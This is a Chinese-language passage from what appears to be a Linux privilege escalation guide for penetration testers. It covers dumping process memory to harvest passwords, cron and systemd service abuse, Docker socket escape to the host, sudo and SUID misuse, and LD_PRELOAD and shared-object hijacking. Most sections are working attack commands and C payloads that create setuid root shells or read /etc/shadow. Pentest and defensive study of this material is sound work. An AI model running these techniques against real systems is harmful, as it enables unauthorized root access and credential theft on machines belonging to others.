文件 ***/proc/sys/kernel/yama/ptrace\_scope*** 控制ptrace的可访问性：

* **kernel.yama.ptrace\_scope = 0**：只要它们具有相同的uid，所有进程都可以被调试。这是ptracing的经典方式。
* **kernel.yama.ptrace\_scope = 1**：只有父进程可以被调试。
* **kernel.yama.ptrace\_scope = 2**：只有管理员可以使用ptrace，因为它需要CAP\_SYS\_PTRACE功能。
* **kernel.yama.ptrace\_scope = 3**：不允许使用ptrace跟踪任何进程。设置后，需要重新启动才能再次启用ptracing。
  {% endhint %}

#### GDB

如果您可以访问FTP服务的内存（例如），您可以获取Heap并在其中搜索凭据。

```bash
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
```

#### GDB 脚本

{% code title="dump-memory.sh" %}

```bash
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
```

{% endcode %}

#### /proc/$pid/maps & /proc/$pid/mem

对于给定的进程ID，**maps显示了该进程的虚拟地址空间内存是如何映射的**；它还显示了**每个映射区域的权限**。**mem**伪文件**暴露了进程的内存本身**。从**maps**文件中，我们知道哪些**内存区域是可读的**以及它们的偏移量。我们利用这些信息**定位到mem文件并将所有可读区域转储到文件中**。

```bash
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
```

#### /dev/mem

`/dev/mem` 提供对系统的**物理**内存的访问，而不是虚拟内存。内核的虚拟地址空间可以使用`/dev/kmem`来访问。通常，`/dev/mem` 只能被**root**和**kmem**组读取。

```
strings /dev/mem -n10 | grep -i PASS
```

### ProcDump for Linux

ProcDump是Sysinternals工具套件中经典ProcDump工具的Linux重新设计版本。在<https://github.com/Sysinternals/ProcDump-for-Linux>获取。

```
procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
```

### 工具

要转储进程内存，您可以使用：

* [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump)（需要root权限）- 您可以手动删除root要求，并转储您拥有的进程
* [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)中的脚本 A.5（需要root权限）

### 从进程内存中获取凭据

#### 手动示例

如果您发现认证进程正在运行：

```bash
ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator
```

您可以转储进程（查看前面的部分以找到转储进程内存的不同方法），并在内存中搜索凭据：

```bash
./dump-memory.sh 2027
strings *.dump | grep -i password
```

#### mimipenguin

该工具[**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)将从内存和一些**知名文件**中**窃取明文凭证**。它需要root权限才能正常工作。

| 功能                                  | 进程名称                 |
| ----------------------------------- | -------------------- |
| GDM密码（Kali桌面，Debian桌面）              | gdm-password         |
| Gnome Keyring（Ubuntu桌面，ArchLinux桌面） | gnome-keyring-daemon |
| LightDM（Ubuntu桌面）                   | lightdm              |
| VSFTPd（活动FTP连接）                     | vsftpd               |
| Apache2（活动HTTP基本认证会话）               | apache2              |
| OpenSSH（活动SSH会话 - Sudo使用）           | sshd:                |

#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)

```bash
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
```

## 定时任务/Cron 作业

检查是否有任何可被利用的定时任务。也许你可以利用由 root 执行的脚本（通配符漏洞？可以修改 root 使用的文件？使用符号链接？在 root 使用的目录中创建特定文件？）。

```bash
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
```

### Cron路径

例如，在\_/etc/crontab\_文件中，您可以找到路径：*PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin*

（*请注意用户"user"对/home/user具有写入权限*）

如果在这个crontab中，root用户尝试执行一些命令或脚本而没有设置路径。例如：*\* \* \* \* root overwrite.sh*\
然后，您可以通过以下方式获取root shell：

```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```

### 使用带通配符的脚本的 Cron 作业（通配符注入）

如果由 root 执行的脚本中的命令中包含“**\***”，您可以利用这一点执行意外操作（如权限提升）。示例：

```bash
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
```

**如果通配符前面有路径，比如** ***/some/path/\**** **，它就不会有漏洞（即使** ***./\**** **也不会有漏洞）。**

阅读以下页面了解更多通配符利用技巧：

{% content-ref url="/pages/XZClkJQE9NSLyS6IdhcE" %}
[Wildcards Spare tricks](/linux-hardening/privilege-escalation/wildcards-spare-tricks)
{% endcontent-ref %}

### Cron脚本覆盖和符号链接

如果你**可以修改由root执行的cron脚本**，你可以非常容易地获得一个shell：

```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
```

如果由root执行的脚本使用了**你拥有完全访问权限的目录**，也许删除该文件夹并**创建一个符号链接文件夹到另一个**文件夹，以便运行你控制的脚本可能会很有用。

```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```

### 频繁的 cron 作业

您可以监视进程，以搜索每隔 1、2 或 5 分钟执行一次的进程。也许您可以利用这一点来提升权限。

例如，要在 1 分钟内**每 0.1 秒监视**，**按最少执行命令排序**并删除已执行最多次的命令，您可以执行：

```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```

**您也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) （这将监视并列出每个启动的进程）。

### 隐形的定时任务

可以通过在注释后面**插入一个回车符**（没有换行符）来创建一个定时任务，这样定时任务将会生效。示例（请注意回车符）：

```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```

## 服务

### 可写的 *.service* 文件

检查是否可以写入任何 `.service` 文件，如果可以，您**可以修改它**以便在服务**启动**、**重新启动**或**停止**时**执行**您的**后门**（也许您需要等到机器重新启动）。\
例如，在 .service 文件中创建您的后门，使用\*\*`ExecStart=/tmp/script.sh`\*\*

### 可写的服务二进制文件

请记住，如果您对服务执行的二进制文件具有**写权限**，您可以将它们更改为后门，这样当服务被重新执行时，后门将被执行。

### systemd 路径 - 相对路径

您可以查看**systemd**使用的路径：

```bash
systemctl show-environment
```

如果发现您可以在路径中的任何文件夹中**写入**，则可能能够**提升权限**。您需要搜索服务配置文件中使用的**相对路径**，例如：

```bash
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```

然后，在您可以编写的systemd PATH文件夹中创建一个与相对路径二进制文件同名的**可执行文件**，当服务被要求执行易受攻击的操作（**启动**、**停止**、**重新加载**）时，您的**后门将被执行**（通常非特权用户无法启动/停止服务，但请检查是否可以使用 `sudo -l`）。

**了解有关服务的更多信息，请使用 `man systemd.service`。**

## **定时器**

**定时器**是以`**.timer**`结尾的systemd单元文件，用于控制`**.service**`文件或事件。**定时器**可用作cron的替代方案，因为它们内置支持日历时间事件和单调时间事件，并且可以异步运行。

您可以使用以下命令枚举所有定时器：

```bash
systemctl list-timers --all
```

### 可写的定时器

如果您可以修改一个定时器，您可以让它执行一些 `systemd.unit` 中已存在的内容（比如 `.service` 或 `.target`）。

```bash
Unit=backdoor.service
```

在文档中，您可以阅读有关 Unit 的内容：

> 当此计时器到期时要激活的单元。参数是一个单元名称，其后缀不是 ".timer"。如果未指定，则此值默认为具有与计时器单元相同名称的服务，除了后缀。（见上文。）建议激活的单元名称和计时器单元的单元名称相同，除了后缀。

因此，要滥用此权限，您需要：

* 找到一些 systemd 单元（如 `.service`），其中**执行可写二进制文件**
* 找到一些 systemd 单元，其中**执行相对路径**，并且您对**systemd 路径**具有**可写权限**（以冒充该可执行文件）

**通过 `man systemd.timer` 了解更多关于计时器的信息。**

### **启用计时器**

要启用计时器，您需要 root 权限并执行：

```bash
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
```

注意**计时器**是通过在`/etc/systemd/system/<WantedBy_section>.wants/<name>.timer`上创建符号链接来**激活**的。

## 套接字

Unix域套接字（UDS）在客户端-服务器模型中允许在同一台或不同机器上进行**进程通信**。它们利用标准的Unix描述符文件进行计算机间通信，并通过`.socket`文件进行设置。

套接字可以使用`.socket`文件进行配置。

**通过`man systemd.socket`了解更多关于套接字的信息。** 在这个文件中，可以配置几个有趣的参数：

* `ListenStream`、`ListenDatagram`、`ListenSequentialPacket`、`ListenFIFO`、`ListenSpecial`、`ListenNetlink`、`ListenMessageQueue`、`ListenUSBFunction`：这些选项不同，但总结起来用于**指示它将在哪里监听**套接字（AF\_UNIX套接字文件的路径，要监听的IPv4/6和/或端口号等）。
* `Accept`：接受一个布尔参数。如果为**true**，则为每个传入连接**生成一个服务实例**，并且只传递连接套接字给它。如果为**false**，则所有监听套接字本身都会**传递给启动的服务单元**，并且只为所有连接生成一个服务单元。对于数据报套接字和FIFO，在那里一个服务单元无条件地处理所有传入流量，此值将被忽略。**默认为false**。出于性能原因，建议仅以适合`Accept=no`的方式编写新的守护程序。
* `ExecStartPre`、`ExecStartPost`：接受一个或多个命令行，这些命令行在创建和绑定监听**套接字**/FIFO之前或之后**执行**。命令行的第一个标记必须是绝对文件名，然后是进程的参数。
* `ExecStopPre`、`ExecStopPost`：额外的**命令**，在关闭和移除监听**套接字**/FIFO之前或之后**执行**。
* `Service`：指定在**传入流量**上**激活**的**服务**单元名称。此设置仅允许用于`Accept=no`的套接字。默认为与套接字同名的服务（后缀替换）。在大多数情况下，不应该需要使用此选项。

### 可写的`.socket`文件

如果找到一个**可写**的`.socket`文件，你可以在`[Socket]`部分的开头添加类似于：`ExecStartPre=/home/kali/sys/backdoor`，那么在创建套接字之前将执行后门。因此，你**可能需要等待机器重新启动。**\
*请注意系统必须使用该套接字文件配置，否则后门将不会被执行*

### 可写套接字

如果你**识别出任何可写套接字**（现在我们谈论的是Unix套接字，而不是配置`.socket`文件），那么**你可以与该套接字通信**，也许利用一个漏洞。

### 枚举Unix套接字

```bash
netstat -a -p --unix
```

### 原始连接

```bash
#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
```

**利用示例:**

{% content-ref url="/pages/KHlbUSZuNR63Rh1GZnLL" %}
[Socket Command Injection](/linux-hardening/privilege-escalation/socket-command-injection)
{% endcontent-ref %}

### HTTP sockets

请注意，可能有一些**监听HTTP请求的套接字**（*我不是在说.socket文件，而是充当Unix套接字的文件*）。您可以使用以下命令检查：

```bash
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
```

### 可写的Docker套接字

Docker套接字通常位于`/var/run/docker.sock`，是一个关键文件，应该得到保护。默认情况下，它可被`root`用户和`docker`组的成员写入。拥有对此套接字的写入访问权限可能导致特权升级。以下是如何执行此操作的详细步骤，以及在无法使用Docker CLI时的替代方法。

#### 使用Docker CLI进行特权升级

如果您对Docker套接字具有写入访问权限，则可以使用以下命令升级特权：

```bash
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
```

这些命令允许您以根级访问主机文件系统来运行容器。

#### **直接使用 Docker API**

在没有 Docker CLI 的情况下，仍然可以使用 Docker API 和 `curl` 命令来操作 Docker 套接字。

1. **列出 Docker 镜像：** 检索可用镜像列表。

```bash
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
```

2. **创建容器：** 发送请求以创建一个容器，该容器挂载主机系统的根目录。

```bash
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
```

启动新创建的容器：

```bash
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
```

3. **附加到容器：** 使用 `socat` 建立与容器的连接，从而在其中启用命令执行。

```bash
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
```

建立 `socat` 连接后，您可以直接在容器中执行命令，以根级访问主机文件系统。

### 其他

请注意，如果您对 Docker 套接字具有写权限，因为您**在 `docker` 组内**，您有[**更多提升权限的方法**](/linux-hardening/privilege-escalation/interesting-groups-linux-pe#docker-group)。如果[**docker API 在某个端口上监听**，您也可能能够对其进行妥协](/network-services-pentesting/2375-pentesting-docker#compromising)。

在以下位置检查**更多从 Docker 中突破或滥用以提升权限的方法**：

{% content-ref url="/pages/zcVYraL309wKa4F2QNBc" %}
[Docker Security](/linux-hardening/privilege-escalation/docker-security)
{% endcontent-ref %}

## Containerd (ctr) 特权升级

如果您发现可以使用\*\*`ctr`**命令，请阅读以下页面，因为**您可能能够滥用它来提升权限\*\*：

{% content-ref url="/pages/8CWurA8rSPmCclFK4HBY" %}
[Containerd (ctr) Privilege Escalation](/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation)
{% endcontent-ref %}

## **RunC** 特权升级

如果您发现可以使用\*\*`runc`**命令，请阅读以下页面，因为**您可能能够滥用它来提升权限\*\*：

{% content-ref url="/pages/Jn3I1Zw2t9enOzaDHExj" %}
[RunC Privilege Escalation](/linux-hardening/privilege-escalation/runc-privilege-escalation)
{% endcontent-ref %}

## **D-Bus**

D-Bus 是一种复杂的**进程间通信（IPC）系统**，使应用程序能够高效地交互和共享数据。设计时考虑到现代 Linux 系统，它为不同形式的应用程序通信提供了强大的框架。

该系统功能强大，支持增强数据交换的基本 IPC，类似于**增强的 UNIX 域套接字**。此外，它有助于广播事件或信号，促进系统组件之间的无缝集成。例如，蓝牙守护程序发出有电话呼入的信号可能会提示音乐播放器静音，增强用户体验。此外，D-Bus 支持远程对象系统，简化了应用程序之间的服务请求和方法调用，简化了传统上复杂的流程。

D-Bus 采用**允许/拒绝模型**，根据匹配策略规则的累积效果管理消息权限（方法调用、信号发射等）。这些策略指定与总线的交互，可能通过利用这些权限的漏洞来提升权限。

在 `/etc/dbus-1/system.d/wpa_supplicant.conf` 中提供了一个示例策略，详细说明了允许根用户拥有、发送到和接收来自 `fi.w1.wpa_supplicant1` 的消息的权限。

未指定用户或组的策略适用于所有情况，而“default”上下文策略适用于所有未被其他特定策略覆盖的情况。

```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
```

**学习如何枚举和利用 D-Bus 通信：**

{% content-ref url="/pages/wY0pnkObdSJjFYuGxUg7" %}
[D-Bus Enumeration & Command Injection Privilege Escalation](/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation)
{% endcontent-ref %}

## **网络**

枚举网络并确定机器位置总是很有趣。

### 通用枚举

```bash
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i
```

### 开放端口

在访问之前，始终检查在机器上运行的网络服务，这些服务可能是您无法与之交互的。

```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
```

### 嗅探

检查是否可以嗅探流量。如果可以的话，你可能能够获取一些凭证。

```
timeout 1 tcpdump
```

## 用户

### 通用枚举

检查您是**谁**，拥有哪些**特权**，系统中有哪些**用户**，哪些用户可以**登录**，哪些用户具有**root特权**：

```bash
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
```

### 大 UID

一些Linux版本受到一个bug的影响，允许具有**UID > INT\_MAX**的用户提升权限。更多信息: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 和 [here](https://twitter.com/paragonsec/status/1071152249529884674).\
**利用方法**：使用 **`systemd-run -t /bin/bash`**

### 组

检查是否是**某个组的成员**，该组可能授予您root权限：

{% content-ref url="/pages/Gupvz9Hx4YHekcwXT5ZQ" %}
[Interesting Groups - Linux Privesc](/linux-hardening/privilege-escalation/interesting-groups-linux-pe)
{% endcontent-ref %}

### 剪贴板

检查剪贴板中是否有任何有趣的内容（如果可能）

```bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
```

### 密码策略

```bash
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
```

### 已知密码

如果你**知道环境中的任何密码**，尝试使用密码**以每个用户身份登录**。

### Su Brute

如果不介意制造很多噪音且计算机上存在`su`和`timeout`二进制文件，你可以尝试使用[su-bruteforce](https://github.com/carlospolop/su-bruteforce)来暴力破解用户。\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)带有`-a`参数也可以尝试暴力破解用户。

## 可写的 PATH 滥用

### $PATH

如果你发现你可以**在$PATH的某个文件夹中写入**，你可能可以通过**在可写文件夹中创建一个后门**，命名为将由不同用户（最好是root）执行的某个命令，且该命令**不是从$PATH中位于你可写文件夹之前的文件夹加载**。

### SUDO 和 SUID

你可能被允许使用sudo执行某些命令，或者它们可能具有suid位。使用以下命令进行检查：

```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
```

一些**意外的命令允许您读取和/或写入文件，甚至执行命令。** 例如：

```bash
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
```

### NOPASSWD

Sudo配置可能允许用户在不知道密码的情况下以另一个用户的权限执行某些命令。

```
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
```

在这个例子中，用户`demo`可以作为`root`运行`vim`，现在可以通过将一个ssh密钥添加到root目录中或调用`sh`来轻松获得一个shell。

```
sudo vim -c '!sh'
```

### SETENV

该指令允许用户在执行某些操作时**设置环境变量**：

```bash
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```

这个例子，**基于HTB机器Admirer**，存在**PYTHONPATH劫持**漏洞，可以在以root权限执行脚本时加载任意的Python库：

```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```

### 绕过路径执行Sudo

**跳转**到其他文件或使用**符号链接**。例如，在sudoers文件中：*hacker10 ALL= (root) /bin/less /var/log/\**

```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
```

```bash
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
```

如果使用通配符（\*），那就更容易了：

```bash
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
```

**对策**：<https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/>

### 没有指定命令路径的Sudo命令/SUID二进制文件

如果给予**sudo权限**给单个命令**而没有指定路径**：*hacker10 ALL= (root) less*，您可以通过更改PATH变量来利用它。

```bash
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
```

这种技术也可以用于**suid**二进制文件**执行另一个命令而没有指定路径（始终使用** ***strings*** \*\*检查奇怪的SUID二进制文件的内容）。

[执行的有效载荷示例。](/linux-hardening/privilege-escalation/payloads-to-execute)

### 具有命令路径的SUID二进制文件

如果**suid**二进制文件**执行另一个指定路径的命令**，那么您可以尝试**导出一个函数**，命名为suid文件调用的命令。

例如，如果一个suid二进制文件调用 ***/usr/sbin/service apache2 start***，您必须尝试创建并导出该函数：

```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```

### LD\_PRELOAD & **LD\_LIBRARY\_PATH**

**LD\_PRELOAD**环境变量用于指定要在加载器加载所有其他库之前加载的一个或多个共享库（.so文件）。这个过程被称为预加载库。

然而，为了维护系统安全并防止这个功能被滥用，特别是对于**suid/sgid**可执行文件，系统强制执行一些条件：

* 加载器对于真实用户ID（*ruid*）与有效用户ID（*euid*）不匹配的可执行文件忽略**LD\_PRELOAD**。
* 对于suid/sgid的可执行文件，只有标准路径中也是suid/sgid的库会被预加载。

如果你有执行带有`sudo`的命令的能力，并且`sudo -l`的输出包含语句**env\_keep+=LD\_PRELOAD**，特权升级可能会发生。这个配置允许**LD\_PRELOAD**环境变量持久存在并在使用`sudo`运行命令时被识别，可能导致以提升的权限执行任意代码。

```
Defaults        env_keep += LD_PRELOAD
```

保存为 **/tmp/pe.c**

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```

然后使用以下命令**编译**它：

```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```

最后，**提升权限**运行

```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```

{% hint style="danger" %}
如果攻击者控制**LD\_LIBRARY\_PATH**环境变量，类似的权限提升攻击就可以被滥用，因为攻击者控制了库文件搜索的路径。
{% endhint %}

```c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
```

```bash
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```

### SUID二进制文件 - .so注入

当遇到具有**SUID**权限且看起来不寻常的二进制文件时，最好验证它是否正确加载\*\*.so\*\*文件。可以通过运行以下命令来检查：

```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```

例如，遇到类似 *"open(“/path/to/.config/libcalc.so”, O\_RDONLY) = -1 ENOENT (No such file or directory)"* 的错误表明存在潜在的利用可能。

要利用这个问题，可以通过创建一个名为 *"/path/to/.config/libcalc.c"* 的 C 文件，其中包含以下代码：

```c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
```

这段代码一旦编译并执行，旨在通过操纵文件权限并以提升的权限执行shell来提升权限。

使用以下命令将上述C文件编译为共享对象（.so）文件：

```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```

## 共享对象劫持

最后，运行受影响的SUID二进制文件应该触发漏洞利用，从而可能导致系统受损。

```bash
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]
```

现在我们已经找到一个SUID二进制文件，它从一个我们可以写入的文件夹加载库，请在该文件夹中创建具有必要名称的库文件：

```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
```

如果你遇到类似以下错误：

```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```

这意味着你生成的库需要有一个名为`a_function_name`的函数。

### GTFOBins

[**GTFOBins**](https://gtfobins.github.io)是一个经过筛选的Unix二进制文件列表，攻击者可以利用其中的函数来绕过本地安全限制。[**GTFOArgs**](https://gtfoargs.github.io/)是类似的，但适用于只能在命令中**注入参数**的情况。

该项目收集了Unix二进制文件的合法功能，可被滥用以突破受限制的shell、提升或保持提升的特权、传输文件、生成绑定和反向shell，并促进其他后渗透任务。

> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'

{% embed url="<https://gtfobins.github.io/>" %}

{% embed url="<https://gtfoargs.github.io/>" %}

### FallOfSudo

如果你可以访问`sudo -l`，你可以使用工具[**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo)来检查是否找到了如何利用任何sudo规则的方法。

### 重用Sudo令牌

在你拥有**sudo访问权限**但没有密码的情况下，你可以通过**等待sudo命令执行然后劫持会话令牌**来提升特权。

提升特权的要求：

* 你已经作为用户"*sampleuser*"拥有一个shell
* "*sampleuser*"已经**使用`sudo`在最近15分钟**内执行了某些操作（默认情况下，这是允许我们使用`sudo`而无需输入任何密码的sudo令牌的持续时间）
* `cat /proc/sys/kernel/yama/ptrace_scope`为0
* 可以访问`gdb`（你可以上传它）

（你可以使用`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope`临时启用`ptrace_scope`，或者永久修改`/etc/sysctl.d/10-ptrace.conf`并设置`kernel.yama.ptrace_scope = 0`）

如果所有这些要求都满足，**你可以使用以下方式提升特权：** [**https://github.com/nongiach/sudo\_inject**](https://github.com/nongiach/sudo_inject)

* **第一个利用**（`exploit.sh`）将在\_tmp\_中创建二进制文件`activate_sudo_token`。你可以使用它来**激活你会话中的sudo令牌**（你不会自动获得root shell，请执行`sudo su`）:

```bash
bash exploit.sh
/tmp/activate_sudo_token
sudo su
```

* 第二个漏洞 (`exploit_v2.sh`) 将在 */tmp* 目录中创建一个由 root 拥有并设置了 setuid 的 sh shell

```bash
bash exploit_v2.sh
/tmp/sh -p
```

* 第三个漏洞利用 (`exploit_v3.sh`) 将创建一个 sudoers 文件，使 sudo 令牌永久有效，并允许所有用户使用 sudo

```bash
bash exploit_v3.sh
sudo su
```

### /var/run/sudo/ts/<用户名>

如果您对该文件夹或文件夹中创建的任何文件具有**写权限**，则可以使用二进制文件[**write\_sudo\_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) **为用户和PID创建sudo令牌**。\
例如，如果您可以覆盖文件 */var/run/sudo/ts/sampleuser*，并且您以该用户的PID 1234拥有一个shell，您可以执行以下操作**获取sudo特权**，而无需知道密码：

```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
```

